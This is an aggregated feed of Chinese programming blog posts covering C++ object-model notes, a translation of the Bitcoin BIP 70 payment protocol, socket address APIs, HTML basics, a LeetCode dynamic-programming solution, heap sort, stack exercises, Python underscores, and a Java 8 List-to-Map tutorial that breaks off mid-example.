8:编译器在处理模板类声明时,可能会有一些错误被编译器标示出来,但这和编译器的处理策略有关。cfront只会做一些语汇检查和解析错误,只能进行一些有限的错误检查,与类型有关的检查到实例被定义之后才会进行,这也是当前编译器实现技术上的一个存在问题。

9:模板定义端和模板的实例化端也就是声明定义和实例化作用域的问题。
  • 在对一个非成员名的决议结果时,如果该函数的实例化与template的类型参数无关,那就以声明定义(declaration)的作用于来确定name,如果有关,那就以实例化作用域(instantiation)来确定该name
10:模板类中函数的实例化相关机制稍有复杂,且各家编译器实现原理各不相同,不做讨论。

11:想要支持异常处理(Exception Handling),编译器的主要工作就是找到catch子句,以处理抛出来的exception(异常)。

12:EH的三个语汇组件
  • 一个throw子句,它在程序某处发出一个exception。被抛出的exception可以是内建类型,也可以是自定义类型
  • 一个或者多个catch子句,每一个catch子句都是一个EH,这个子句准备处理某种类型的exception,并且在封闭的大括号区段内提供实际的处理程序
  • 一个try区段,它包含着一系列的叙述句,可能会引发catch子句起作用。
13:对EH的支持
  • 第一步:检查所发生的throw操作函数
  • 第二步:决定throw操作是否发生在try区段中
  • 第三步:若是,则编译系统会将异常类型拿出来与每一个catch子句进行比较
  • 若结果吻合,流程控制交到catch子句之中
  • 如果throw的操作并没有发生在try区段中,或者是没有一个catch子句吻合,那么编译器必须进行以下操作
  • 摧毁所有的local objects;从堆栈中将目前的函数“unwind”掉;进行到堆栈的下一个函数中去;重复2~5步骤
14:RTTI
  • typeid运算符,返回的是一个const reference,类型为type_info(用来保存类型)
  • 指针指向0,将代表no object,但是引用指向0,将会引起一个临时性对象的产生,该临时对象会被设初值为0,这个reference将会被设置为该对象的一个别名
  • dynamic_cast,如果传回真正的地址,那么表示动态类型转换成功,传回0,表示应该以另一种逻辑施行于这个动态类型并未确定的对象身上

15:C++的对象模型将在其不断地发展中展现出其真正的全面适用性(效率以及弹性的平衡)
作者:misayaaaaa 发表于2017/11/13 9:23:19 原文链接
阅读:41 评论:0 查看评论

【比特币】 BIP - 0070 详解

$
0
0

BIP - 0070 详解


  BIP: 70
  Layer: Applications
  Title: 支付协议
  Author: Gavin Andresen <gavinandresen@gmail.com>
          Mike Hearn <mhearn@bitcoinfoundation.org>
  Comments-Summary: No comments yet.
  Comments-URI: https://github.com/bitcoin/bips/wiki/Comments:BIP-0070
  Status: Final
  Type: Standards Track
  Created: 2013-07-29

摘要

这个BIP描述了一个商家和他们的客户之间的通信协议,使客户更好的体验和更好的安全性,以抵抗付款过程中的中间人攻击。

动机

当前,最小比特币支付协议的操作如下:

  1. 客户将物品添加到网上购物篮,并决定使用比特币支付。
  2. 商家生成一个唯一的付款地址,将其与客户的订单相关联,并要求客户支付。
  3. 客户从商家的网页上复制比特币地址,并将其粘贴到他们正在使用的任何钱包中,或者遵循比特币链接,并且他们的钱包将以支付的金额启动。
  4. 客户授权支付商户的地址,并通过比特币P2P网络广播交易。
  5. 商户的服务器检测到付款,并在充分的交易确认后认为交易最终。

这个BIP扩展了上述协议,以支持几个新的功能:

  1. 人类可读,安全的支付目的地 - 客户将被要求授权支付给“example.com”,而不是一个难以辨认的,34个字符的比特币地址。
  2. 安全的付款证明,客户可以在与商家发生纠纷的情况下使用。
  3. 在交易获得硬件钱包授权之前,用中间人攻击来抵御商人的比特币地址和攻击者的地址。
  4. 付款收到的消息,所以客户立即知道商家已经收到,并已经处理(或正在处理)他们的付款。
  5. 退款地址由客户的钱包软件自动提供给商户,因此商家在退款超额付款或因某种原因无法完成的订单前不必联系客户。

协议

这个BIP描述使用Google Protocol Buffers编码的支付协议消息,使用X.509证书进行验证,并通过http / https进行通信。 未来的BIP可能会将此支付协议扩展到其他编码,PKI系统或传输协议。

支付协议由三个消息组成; PaymentRequest,Payment和PaymentACK,并以某种方式从客户开始指示他们准备付款,商家的服务器用PaymentRequest消息响应:

这里写图片描述

消息

Protocol Buffers消息在 paymentrequest.proto https://github.com/bitcoin/bips/blob/d2a8fb089d7010d839530f879e07edc4e48b84fa/bip-0070/paymentrequest.proto 中定义。

Output

PaymentRequest消息中使用输出来指定应该发送付款(或付款的一部分)的位置。 它们也用于支付消息来指定退款的发送地点。

    message Output {
    optional uint64 amount = 1 [default = 0];
        optional bytes script = 2;
    }
字段 说明
amount satoshis的数量(0.00000001 BTC)将被支付
script 应该发送付款的“TxOut”脚本。 这通常是标准的比特币交易脚本之一(例如pubkey OP_CHECKSIG)。 这是可选的,以便将来对这个协议进行扩展,从主公钥和PaymentRequest数据本身派生输出。

PaymentDetails/PaymentRequest

支付请求被分成两个消息以支持未来的可扩展性。 大部分信息都包含在PaymentDetails消息中。 它被包裹在PaymentRequest消息中,其中包含关于商家和数字签名的元信息。

    message PaymentDetails {
        optional string network = 1 [default = "main"];
        repeated Output outputs = 2;
        required uint64 time = 3;
        optional uint64 expires = 4;
        optional string memo = 5;
        optional string payment_url = 6;
        optional bytes merchant_data = 7;
    }
字段 说明
network 在生产比特币网络上支付“主要”,或者在测试网络上支付“测试”。 如果一个客户端收到一个不支持网络的PaymentRequest,它必须拒绝这个请求。
outputs 比特币将被发送的一个或多个输出。 如果outputs.amount的总和为零,则会询问客户需要付多少钱,比特币客户端可以选择任何或全部输出(如果有多个)以进行支付。 如果产出金额之和不为零,则要求客户支付金额,并将金额分配到非零金额的产出(如果有多于一个的产出;零金额的产出应 被忽略)。
time 在创建PaymentRequest时,使用Unix时间戳(自UTC-Jan-1970 UTC以来的秒数)。
expires Unix时间戳(UTC)之后,PaymentRequest应该被认为是无效的。
memo UTF-8编码的纯文本(无格式)注释应该显示给客户,解释这个PaymentRequest的用途。
payment_url 安全(通常是https)可能会发送付款消息(见下文)以获取PaymentACK的位置。
merchant_data 商家可能使用的任意数据来标识PaymentRequest。 如果商家不需要将付款与PaymentRequest相关联,或者如果他们将每个PaymentRequest与单独的付款地址相关联,则可以省略。

PaymentDetails中指定的payment_url应至少保持有效,直到PaymentDetails过期(或者如果PaymentDetails没有过期,则尽可能长)。 请注意,这与基础支付请求中的任何状态更改无关; 例如取消订单不应该使payment_url无效,因为重要的是商家的服务器可以记录错误付款以便退还付款。

PaymentRequest是PaymentDetails(可选)绑定到商人的身份:

    message PaymentRequest {
        optional uint32 payment_details_version = 1 [default = 1];
        optional string pki_type = 2 [default = "none"];
        optional bytes pki_data = 3;
        required bytes serialized_payment_details = 4;
        optional bytes signature = 5;
    }
字段 说明
payment_details_version 请参阅下面的版本/升级的讨论。
pki_type 公钥基础设施(PKI)系统被用来识别商家。 所有的实现应该支持“none”,“x509 + sha256”和“x509 + sha1”。
pki_data PKI系统数据,标识商家,可用于创建数字签名。 对于X.509证书,pki_data包含一个或多个X.509证书(请参见下面的证书部分)。
serialized_payment_details 协议缓冲区序列化的PaymentDetails消息。
签名 数字签名在PaymentRequest消息的协议缓冲器序列化变体的散列上,所有序列化字段以数字顺序序列化(所有当前协议缓冲器实现以数字顺序序列化字段)并且使用与pki_data中的公钥对应的私钥进行签名。 未设置的可选字段不会被序列化(但是,将字段设置为其默认值将导致其被序列化并且会影响签名)。 序列化之前,必须将签名字段设置为空值,以便该字段包含在签名的PaymentRequest哈希中,但不包含数据。

当比特币钱包应用程序收到PaymentRequest时,它必须通过执行以下操作来授权付款:

  1. 如果pki_type不是“none”,则使用PKI系统验证商家的身份和签名。
  2. 验证客户的系统unix时间(UTC)在PaymentDetails.expires之前。 如果不是,则支付请求必须被拒绝。
  3. 显示商户的身份,询问客户是否要提交付款(例如在第一个X.509证书中显示“通用名称”)。

大于50,000字节的PaymentRequest消息应该被钱包应用拒绝,以减轻拒绝服务攻击。

Payment

付款消息在客户授权付款后发送:

    message Payment {
        optional bytes merchant_data = 1;
        repeated bytes transactions = 2;
        repeated Output refund_to = 3;
        optional string memo = 4;
    }
字段 说明
merchant_data 从PaymentDetails.merchant_data复制。 商家可以使用发票号码或任何其他数据来将付款与PaymentRequests进行匹配。 请注意,恶意客户可能会修改merchant_data,因此应以某种方式进行身份验证(例如,使用仅商户密钥进行签名)。
transactions 一个或多个有效的已签名比特币交易完全支付PaymentRequest
refund_to 如有必要,商户可以返回一个或多个输出资金。 商户可以在支付请求时间之后使用这些输出返还资金长达2个月。 在这段时间到期之后,各方必须商议是否需要返还资金。
memo UTF-8编码,从客户到商家的纯文本注释。

如果客户授权付款,那么比特币客户端:

  1. 创建并签署一个或多个符合(支付全额)PaymentDetails.outputs的交易
  2. 验证客户的系统unix时间(UTC)仍然在PaymentDetails.expires之前。 如果不是,应该取消付款。
  3. 在比特币P2P网络上广播交易
  4. 如果指定了PaymentDetails.payment_url,则将支付消息发送到该URL。 付款消息被序列化并作为POST请求的主体发送。

与payment_url服务器通信的错误应该传达给用户。 在商户的服务器接收到多个相同的支付消息的个人PaymentRequest的情况下,它必须承认每个。 从商家的服务器发送的第二个和另外的PaymentACK消息可以根据备注字段而变化以指示支付的当前状态(例如在网络上看到的确认的数量)。 这是必需的,以确保在传输过程中传输级别失败的情况下,比特币客户端可以通过重新发送付款消息来进行恢复。

PaymentDetails.payment_url应该是安全的,以防止可能改变Payment.refund_to的中间人攻击(如果使用HTTP,它必须是TLS保护的)。

通过HTTP发送付款消息的电子钱包软件必须设置适当的Content-Type和Accept头,如BIP 71中所述:

Content-Type: application/bitcoin-payment
Accept: application/bitcoin-paymentack

当商家的服务器收到付款消息时,必须确定交易是否满足付款条件。 当且仅当他们这样做,它应该在比特币p2p网络上广播交易。

大于50,000字节的支付消息应该被商家的服务器拒绝,以减轻拒绝服务攻击。

PaymentACK

PaymentACK是支付协议中的最终消息。 它是从商家的服务器发送到比特币钱包以响应支付消息:

    message PaymentACK {
        required Payment payment = 1;
        optional string memo = 2;
    }
字段 说明
payment 触发此PaymentACK的付款消息的副本。 如果客户实现另一种将Payments与PaymentACK关联的方式,则客户可以忽略它。
memo 应向客户显示UTF-8编码的注释,提供交易状态(例如“为接受处理的十一种纸币支付1 BTC”)。

大于60,000字节的PaymentACK消息应该被钱包应用拒绝,以减轻拒绝服务攻击。 这大于支付和PaymentRequest消息的限制,因为PaymentACK包含完整的支付消息。

本地化

支持多种语言的商家应该生成特定于语言的PaymentRequests,并将该语言与请求相关联,或者在请求的merchant_data中嵌入语言标签。 他们还应根据原始请求生成特定于语言的PaymentACK。

例如:希腊语客户浏览希腊语版本的商人网站时,会点击一个“Αγοράτώρα”链接,该链接会生成一个Paymentntquest,其中merchant_data设置为“lang = el&basketId = 11252”。 客户支付,他们的比特币客户端发送支付信息,而商家的网站用PaymentACK.message回答“σαςευχαριστούμε”。

证书

默认的PKI系统是X.509证书(与用于验证Web服务器的系统相同)。 当pki_type是“x509 + sha256”或“x509 + sha1”时,pki_data的格式是协议缓冲器编码的证书链:

    message X509Certificates {
        repeated bytes certificate = 1;
    }

如果pki_type是“x509 + sha256”,则使用SHA256算法对PaymentRequest消息进行散列,以产生经过签名的消息摘要。 如果pki_type是“x509 + sha1”,则使用SHA1算法。

每个证书都是DER [ITU.X690.1994] PKIX证书值。 包含数字签名PaymentRequest的实体的公钥的证书必须是第一个证书。 这必须附加额外的证书,每个后续证书是用于证明前一个证书的证书,直到(但不包括)受信任的根权威机构。 受信任的根权限可以包括在内。 收件人必须根据[RFC5280]验证证书链,如果发生验证失败,则拒绝PaymentRequest。

受信任的根证书可以从操作系统获得; 如果在没有操作系统的设备上进行验证,则推荐使用Mozilla根存储。

可扩展性

协议缓冲区序列化格式被设计为可扩展的。 特别是,可以将新的可选字段添加到消息中,并且将被旧的实现忽略(但是保存/重新传输)。

PaymentDetails消息可以用新的可选字段进行扩展,仍然被认为是“版本1”。 旧的实现将能够验证包含新字段的PaymentRequests的签名,但是(显然)将无法显示新的可选字段中包含的任何信息给用户。

如果商家在未来的某个时候有必要生成PaymentRequest消息,而这些消息只能被新的实现所接受,那么他们可以通过定义一个version = 2的新的PaymentDetails消息来实现。 旧的实现应该让用户知道他们需要升级他们的软件,当他们得到一个上传版本PaymentDetails消息。

在本规范中需要扩展消息的实现应使用从1000开始的标签,并通过pull-req更新扩展页面以避免与其他扩展冲突。

参考

BIP 0071:支付协议MIME类型

BIP 0072:支付协议比特币:URI扩展

公钥基础设施(X.509)工作组:http://datatracker.ietf.org/wg/pkix/charter/

协议缓冲区:https://developers.google.com/protocol-buffers/

参考实现

创建付款请求生成器:https://bitcoincore.org/~gavin/createpaymentrequest.php(源)

BitcoinJ https://bitcoinj.github.io/payment-protocol#introduction

另见附注

Javascript对象签名和加密工作组:http://datatracker.ietf.org/wg/jose/

维基百科的发票页面:http://en.wikipedia.org/wiki/Invoice特别是电子发票标准清单

sipa的付款协议建议:https://gist.github.com/1237788

ThomasV的“签名别名”提案:http://ecdsa.org/bitcoin_URIs.html

同态付款地址和付款合同协议:http://arxiv.org/abs/1212.3257

参考资料

作者:diandianxiyu 发表于2017/11/13 9:31:39 原文链接
阅读:64 评论:0 查看评论

第11章 名字与地址转换

$
0
0
#include <netdb.h>

const char *hstrerror(int err);  //h_errno

struct hostent
{
char  *h_name;       //地址的正式名称
char **h_aliases;    //地址的预备名称的指针
int    h_addrtype;   //地址类型
int    h_length;     //地址的比特长度
char **h_addr_list;  //主机网络地址指针,网络字节顺序
};
struct hostent *gethostbyname(const char *hostname);
struct hostent *gethostbyname_r(const char *hostname, struct hostent *result, char *buf, int buflen/*8192*/, int *h_errnop);
struct hostent *gethostbyaddr(const char *addr, socklen_t len, int family);
struct hostent *gethostbyaddr_r(const char *addr, int len, int type, struct hostent *result, char* buf, int buflen/*8192*/, int* h_errnop);

struct servent 
{
char  *s_name;     //正规的服务名
char **s_aliases;  //一个以空指针结尾的可选服务名队列
int    s_port;     //连接该服务时需要用到的端口号,返回的端口号是以网络字节顺序排列的
char  *s_proto;    //连接该服务时用到的协议名
};
struct servent* getservbyname(const char *servname, const char *protoname);
struct servent* getservbyport(int port, const char* protoname);

struct addrinfo 
{
    int ai_flags;      /*in*/
    int ai_family;     /*in*/
    int ai_socktype;   /*in*/
    int ai_protocol;   /*in*/ /*IPPROTO_TCP/IPPROTO_UDP*/
    socklen_t ai_addrlen;
    struct sockaddr *ai_addr;
    char *ai_canonname;
    struct addrinfo *ai_next;
};
int getaddrinfo(const char *hostname, const char *service, const struct addrinfo *hints, struct addrinfo **result);
const char* gai_strerror(int error);     //getaddrinfo的返回值做参数
void freeaddrinfo(struct addrinfo* ai);  //形参是链表头
int getnameinfo(const struct sockaddr* sockaddr, socklen_t addrlen, char* host, socklen_t hostlen, char* serv, socklen_t servlen, int flags);

作者:gongluck93 发表于2017/11/13 10:25:49 原文链接
阅读:18 评论:0 查看评论

前端基础-01-html标签

$
0
0

前端基础-html标签

先来看一个Html模板

<!DOCTYPE html><!--文档类型-->
<html lang="en"><!--根标签-->
<head><!--网页头部-->
    <meta charset="UTF-8">  <!--编码格式-->
    <title>HTML模板</title>
</head>
<body><!--可视化区域  网页主体-->

</body>
</html>

HTML命名规范

HTML书写规范:
1.名字用小写字母
2.以英文开头,可以包含英文字符、数字、_、-,不能使用中文
3.驼峰命名
4.id命名:id只能有一个名字,而且在页面中相同的名字只能出现一次,相当于身份证号码
5.class命名:class可以出现多次

Html常用标签学习

# 1. h1-h6标题标签
<h1>我是H1标签</h1> <!--一般H1标签只会有一个,有利于搜索-->
<h2>我是H2标签</h2>
<h3>我是H3标签</h3>
<h4>我是H4标签</h4>
<h5>我是H5标签</h5>
<h6>我是H6标签</h6>

#2.p标签,段落标签
<p>Python 的创始人</p>

#3.strong标签,加粗标签
<strong id="box">我是strong加粗的标签</strong> <!--不仅能加粗,还有力搜索引擎搜索-->

#4.b标签,加粗标签
<b>我是b标签加粗</b><!--只是物理加粗-->

#5.em标签,斜体标签
<em>我是斜体的</em><!--强调斜体,还有力搜索引擎搜索-->

#6.i标签,斜体标签
<i>我是斜体i标签</i><!--斜体作用-->
换行标签
#7.br标签,换行标签
<br/>

#8.hr标签,水平线标签
<hr/>

#9.特殊符号
<p>
    小于号: &lt; <br/>
    大于号:&gt; <br/>
    空格符号:12&nbsp;34<br/>
    空白位:12&emsp;&emsp;&emsp;&emsp;34<br/>
    &字符:&amp;<br/>
    版权符号:&copy;<br/>
</p>

#10.a标签
<a href="http://www.baidu.com">百度</a> <br/>  <!--超链接-->
<a href="#">#刷新当前页面</a> <br/> <!--刷新页面-->
<a href="javascript:void (0)">死链接</a><br/><!--死链接-->
<a href="#box">锚点</a> <br/>

<!--
    只有a标签才有name属性
    其他标签要使用锚点,需要通过id属性跳转
-->
#锚点跳转的页面,name属性
<a href="javascript:void (0)" name="box">我是最前面的a标签</a>

#11.img标签
<img src="https://ss1.bdstatic.com/70cFvXSh_Q1YnxGkpoWK1HF6hhy/it/u=594559231,2167829292&fm=27&gp=0.jpg"
     alt="百度图片"
     width="100" height="100">
<!--
src 图片的路径
alt 图片的描述
width 宽度
height 高度
-->

作者:lianjiaokeji 发表于2017/11/13 10:34:45 原文链接
阅读:5 评论:0 查看评论

LeetCode--Interleaving String

$
0
0

Given s1, s2, s3, find whether s3 is formed by the interleaving of s1 and s2.

For example,
Given:
s1 = “aabcc”,
s2 = “dbbca”,

When s3 = “aadbbcbcac”, return true.
When s3 = “aadbbbaccc”, return false.

思路:动态规划。
这种字符串交错组合的题目是典型的dp问题,状态dp[l1][l2]表示长度l1的s1和长度l2的s2能否通过交错组合找到s3,初始化状态dp[0][0],dp[0][i],dp[i][0]后,状态方程为dp[i][j]=(dp[i-1][j]&&s1[i-1]==s3[i+j-1])||(dp[i][j-1]&&s2[j-1]==s3[i+j-1]).

class Solution {
public:
    bool isInterleave(string s1, string s2, string s3) {
        int l1=s1.size(),l2=s2.size(),l3=s3.size();
        if(l1+l2!=l3) return false;
        bool dp[l1+1][l2+1];
        dp[0][0]=true;
        for(int i=1;i<=l1;i++){
            dp[i][0]=(s1[i-1]==s3[i-1]&&dp[i-1][0]);
        }
        for(int i=1;i<=l2;i++){
            dp[0][i]=(s2[i-1]==s3[i-1]&&dp[0][i-1]);
        }
        for(int i=1;i<=l1;i++){
            for(int j=1;j<=l2;j++){
                dp[i][j]=(dp[i-1][j]&&s1[i-1]==s3[i+j-1])||(dp[i][j-1]&&s2[j-1]==s3[i+j-1]);
            }
        }
        return dp[l1][l2];
    }
};
作者:qq_20791919 发表于2017/11/13 10:40:18 原文链接
阅读:14 评论:0 查看评论

数据结构与算法分析(Java语言描述)(13)—— 原地堆排序

$
0
0
package com.algorithm.sort;

public class HeapSortInPlace {
    private HeapSortInPlace() {
    }

    public static void sort(Integer[] arr) {
        int n = arr.length;

        // 注意:我们堆的索引是从0开始的
        // 从(最后一个元素的索引-1)/2 开始
        // 最后一个元素的索引为 n-1

        // 将数组原地 shiftDown 变为 最大堆
        for (int i = (n - 1 - 1) / 2; i >= 0; i--) {
            shiftDown(arr, n, i);
        }
        // 交换数组的第一个元素(最大元素)与数组末尾的元素(i)
        // 使整个数组从后向前依次有序
        // 对剩余的数组进行 shiftDown 操作,使其变为 最大堆
        for (int i = n - 1; i > 0; i--) {
            SortTestHelper.swap(arr, 0, i);
            shiftDown(arr, i, 0);
        }
    }

    private static void shiftDown(Integer[] arr, int n, int k) {
        // 当存在 左子节点 时
        while (2 * k + 1 < n) {

            // j 为 左子节点
            int j = 2 * k + 1;

            // 右子节点(j+1)存在,且 右子节点 > 左子节点
            if (j + 1 < n && arr[j + 1].compareTo(arr[j]) > 0) {
                // j 移动到 右子节点处
                j++;
            }

            // 父节点(k) > 子节点中较大者, break
            if (arr[k].compareTo(arr[j]) >= 0) break;

            // 父节点(k) 与 子节点中较大者进行交换
            SortTestHelper.swap(arr, j, k);

            // k 移动到 子节点中 较大者 的位置(j)
            k = j;
        }
    }

    public static void main(String[] args) {
        int N = 100000;
        Integer[] arr = SortTestHelper.generateRandomArray(N, 0, 100000);

        System.out.println("排序前的数组为:");
        SortTestHelper.printArray(arr);
        Long start = System.currentTimeMillis();
        HeapSortInPlace.sort(arr);
        Long end = System.currentTimeMillis();
        System.out.println("-------------------------------------------");

        System.out.println("排序后的数组为:");
        SortTestHelper.printArray(arr);
        System.out.println("-------------------------------------------");

        System.out.println("排序后的数组是否有序:");
        if (SortTestHelper.isSorted(arr)) {
            System.out.println("数组有序~");
        } else {
            System.out.println("数组无序!");
        }
        System.out.println("-------------------------------------------");

        System.out.println("排序算法的运行时间为" + " : " + (end - start) + "ms");
    }

}

这里写图片描述

这里写图片描述

这里写图片描述

这里写图片描述

作者:HeatDeath 发表于2017/11/13 10:54:36 原文链接
阅读:0 评论:0 查看评论

算法第4版 1.3 背包、队列和栈

$
0
0

1.

package com.vadonmo.exp.chapter;

/**
 * 为FixedCapacityStackOfStrings添加一个isFull()
 * 
 * @author vadon
 *
 */
public class Exp1_3_1 {

    public class FixedCapacityStackOfStrings {
        private String[] a;
        private int N;

        public FixedCapacityStackOfStrings(int cap) {
            a = new String[cap];
        }

        public boolean isEmpty() {
            return N == 0;
        }

        /**
         * 是否满
         * 
         * @return
         * @return boolean
         */
        public boolean isFull() {
            return a.length > N;
        }

        public int size() {
            return N;
        }

        public void push(String item) {
            a[N++] = item;
        }

        public String pop() {
            return a[--N];
        }
    }
}

2.

package com.vadonmo.exp.chapter;

import com.vadonmo.exp.api.StdIn;
import com.vadonmo.exp.api.StdOut;
import com.vadonmo.exp.example.Stack;

/**
 * 给定一下输入,java Stack的输出是什么 
 * it was - the best - of times - - - it was - the - -
 * 
 * @author vadon
 *
 */
public class Exp1_3_2 {
    public static void main(String[] args) {
        Stack<String> stack = new Stack<String>();
        while (!StdIn.isEmpty()) {
            String item = StdIn.readString();
            if (!item.equals("-")) {
                stack.push(item);
            } else if (!stack.isEmpty()) {
                StdOut.print(stack.pop() + " ");
            }
        }
        StdOut.println("(" + stack.size() + " left on stack)");

    }
    // was best times of the was the it (1 left on stack)
}

3.

package com.vadonmo.exp.chapter;

/**
 * 假设某个用例程序会进行过一系列入栈和出栈的混合栈操作。
 * 入栈操作会将整数0-9按顺序压入栈;出栈操作会打印出返回值。
 * 下面哪种序列是不可能产生的?
 * a. 4 3 2 1 0 9 8 7 6 5
 * b. 4 6 8 7 5 3 2 9 0 1
 * c. 2 5 6 7 4 8 9 3 1 0
 * d. 4 3 2 1 0 5 6 7 8 9
 * e. 1 2 3 4 5 6 9 8 7 0
 * f. 0 4 6 5 3 8 1 7 2 9
 * g. 1 4 7 9 8 6 5 3 0 2
 * h. 2 1 4 3 6 5 8 7 9 0
 * 
 * @author vadon
 *
 */
public class Exp1_3_3 {
    /*
     * a. 4 3 2 1 0 9 8 7 6 5 T
     * b. 4 6 8 7 5 3 2 9 0 1 F
     * c. 2 5 6 7 4 8 9 3 1 0 T
     * d. 4 3 2 1 0 5 6 7 8 9 T
     * e. 1 2 3 4 5 6 9 8 7 0 T
     * f. 0 4 6 5 3 8 1 7 2 9 F
     * g. 1 4 7 9 8 6 5 3 0 2 F
     * h. 2 1 4 3 6 5 8 7 9 0 T
     */
}

4.

package com.vadonmo.exp.chapter;

import com.vadonmo.exp.api.StdIn;
import com.vadonmo.exp.api.StdOut;
import com.vadonmo.exp.example.Stack;

/**
 * 编写一个Stack用例Parenthess,从标准输入中读取一个文本流并使用栈判定其中的括号是否匹配完整。
 * 
 * @author vadon
 *
 */
public class Exp1_3_4 {

    public static void main(String[] args) {
        Parenthess();
    }

    public static void Parenthess() {
        Stack<String> stack = new Stack<String>();
        String string = StdIn.readString();
        String[] items = string.trim().split("");
        for (String item : items) {
            if (item.equals("[") || item.equals("(") || item.equals("{")) {
                stack.push(item);
            } else if (!stack.isEmpty()) {
                if (item.equals("}")) {
                    if (!stack.pop().equals("{")) {
                        StdOut.println(false);
                        return;
                    }
                } else if (item.equals("]")) {
                    if (!stack.pop().equals("[")) {
                        StdOut.println(false);
                        return;
                    }
                } else if (item.equals(")")) {
                    if (!stack.pop().equals("(")) {
                        StdOut.println(false);
                        return;
                    }
                }
            }
        }
    }
    // [()]{}{[()()]()} True
    // [(]) False
}

5.

package com.vadonmo.exp.chapter;

import com.vadonmo.exp.api.StdOut;
import com.vadonmo.exp.example.Stack;

/**
 * 当N为50时下面这段代码会打印什么?从较高的抽象层次描述给定正整数N时这段代码的行为
 * 
 * @author vadon
 *
 */
public class Exp1_3_5 {

    public static void main(String[] args) {
        int N = 50;
        Stack<Integer> stack = new Stack<Integer>();
        while (N > 0) {
            stack.push(N % 2);
            N /= 2;
        }
        for (int d : stack)
            StdOut.print(d);
        StdOut.println();
    }
    // 110010 N的二进制
}
作者:vadonmo 发表于2017/11/12 22:29:38 原文链接
阅读:16 评论:0 查看评论

python: 下划线 使用

$
0
0

在 交互式解释器会话 中

在这种情况下,“_”代表交互式解释器会话中上一条执行的语句的结果。

>>> 10
10
>>> _
10
>>> 

作为 名称

此时“_”、“__”、“___”、“____”等等作为临时性的名称使用。这样,当其他人阅读你的代码时将会知道,你分配了一个特定的名称,但是并不会在后面再次用到该名称。

for _ in xrange(2):
    for __ in xrange(2):
        for ___ in xrange(2):
            print _, __, ___

打印结果:

0 0 0
0 0 1
0 1 0
0 1 1
1 0 0
1 0 1
1 1 0
1 1 1

在 函数名 or 变量名 前后

名称下划线

私有,private,仅供内部使用。

_loss

名称下划线

用于和 Python 关键词区分开来。

list_

名称下划线

用于避免与子类定义的名称冲突。

名称两侧下划线

表示非用户自定义的名称。可以被直接引用。

__init__



Ref:



作者:JNingWei 发表于2017/11/12 22:44:24 原文链接
阅读:59 评论:0 查看评论

Java 8 – Convert List to Map(将 List 转换为 Map)

$
0
0

   几个Java 8的例子展示怎样将一个 对象的集合(List)放入一个Map中,并且展示怎样处理多个重复keys的问题。

Hosting.java
package com.mkyong.java8

public class Hosting {

    private int Id;
    private String name;
    private long websites;

    public Hosting(int id, String name, long websites) {
        Id = id;
        this.name = name;
        this.websites = websites;
    }

    //getters, setters and toString()
}

1. List to Map – Collectors.toMap()

创建一个 Hosting 对象集合, 并且用 Collectors.toMap 去将它转换放入一个 Map.

TestListMap.java
package com.mkyong.java8

import java.util.ArrayList;
import java.util.List;
import java.util.Map;
import java.util.stream.Collectors;

public class TestListMap {

    public static void main(String[] args) {

        List<Hosting> list = new ArrayList<>();
        list.add(new Hosting(1, "liquidweb.com", 80000));
        list.add(new Hosting(2, "linode.com", 90000));
        list.add(new Hosting(3, "digitalocean.com", 120000));
        list.add(new Hosting(4, "aws.amazon.com", 200000));
        list.add(new Hosting(5, "mkyong.com", 1));

        // key = id, value - websites
        Map<Integer, String> result1 = list.stream().collect(
                Collectors.toMap(Hosting::getId, Hosting::getName));

        System.out.println("Result 1 : " + result1);

        // key = name, value - websites
        Map<String, Long> result2 = list.stream().collect(
                Collectors.toMap(Hosting::getName, Hosting::getWebsites));

        System.out.println("Result 2 : " + result2);

        // Same with result1, just different syntax
        // key = id, value = name
        Map<Integer, String> result3 = list.stream().collect(
                Collectors.toMap(x -> x.getId(), x -> x.getName()));

        System.out.println("Result 3 : " + result3);
    }
}

Output

Result 1 : {1=liquidweb.com, 2=linode.com, 3=digitalocean.com, 4=aws.amazon.com, 5=mkyong.com}
Result 2 : {liquidweb.com=80000, mkyong.com=1, digitalocean.com=120000, aws.amazon.com=200000, linode.com=90000}
Result 3 : {1=liquidweb.com, 2=linode.com, 3=digitalocean.com, 4=aws.amazon.com, 5=mkyong.com}

2. List to Map – Duplicated Key! (List转Map 重复key问题)

2.1 Run below code, and duplicated key errors will be thrown!

TestDuplicatedKey.java
package com.mkyong.java8;

import java.util.ArrayList;
import java.util.List;
import java.util.Map;
import java.util.stream.Collectors;

public class TestDuplicatedKey {

    public static void main(String[] args) {

        List<Hosting> list = new ArrayList<>();
        list.add(new Hosting(1, "liquidweb.com", 80000));
        list.add(new Hosting(2, "linode.com", 90000));
        list.add(new Hosting(3, "digitalocean.com", 120000));
        list.add(new Hosting(4, "aws.amazon.com", 200000));
        list.add(new Hosting(5, "mkyong.com", 1));

        list.add(new Hosting(6, "linode.com", 100000)); // new line

        // key = name, value - websites , but the key 'linode' is duplicated!?
        Map<String, Long> result1 = list.stream().collect(
                Collectors.toMap(Hosting::getName, Hosting::getWebsites));

        System.out.println("Result 1 : " + result1);

    }
}

输出:下面这个错误有的误导,它应该显示 “linode” 代替key的值。

Exception in thread "main" java.lang.IllegalStateException: Duplicate key 90000
	at java.util.stream.Collectors.lambda$throwingMerger$0(Collectors.java:133)
	at java.util.HashMap.merge(HashMap.java:1245)
	//...

2.2  为了解决上面重复key的问题,通过增加第三个参数解决:

Map<String, Long> result1 = list.stream().collect(
                Collectors.toMap(Hosting::getName, Hosting::getWebsites,
                        (oldValue, newValue) -> oldValue
                )
        );

Output

Result 1 : {..., aws.amazon.com=200000, linode.com=90000}
Note
(oldValue, newValue) -> oldValue ==> 如果key是重复的,你选择oldKey or newKey?

3.3 Try newValue

Map<String, Long> result1 = list.stream().collect(
                Collectors.toMap(Hosting::getName, Hosting::getWebsites,
                        (oldValue, newValue) -> newvalue
                )
        );

Output

Result 1 : {..., aws.amazon.com=200000, linode.com=100000}

3. List to Map – Sort & Collect

TestSortCollect.java
package com.mkyong.java8;

import java.util.*;
import java.util.stream.Collectors;

public class TestSortCollect {

    public static void main(String[] args) {

        List<Hosting> list = new ArrayList<>();
        list.add(new Hosting(1, "liquidweb.com", 80000));
        list.add(new Hosting(2, "linode.com", 90000));
        list.add(new Hosting(3, "digitalocean.com", 120000));
        list.add(new Hosting(4, "aws.amazon.com", 200000));
        list.add(new Hosting(5, "mkyong.com", 1));
        list.add(new Hosting(6, "linode.com", 100000));

        //example 1
        Map result1 = list.stream()
                .sorted(Comparator.comparingLong(Hosting::getWebsites).reversed())
                .collect(
                        Collectors.toMap(
                                Hosting::getName, Hosting::getWebsites, // key = name, value = websites
                                (oldValue, newValue) -> oldValue,       // if same key, take the old key
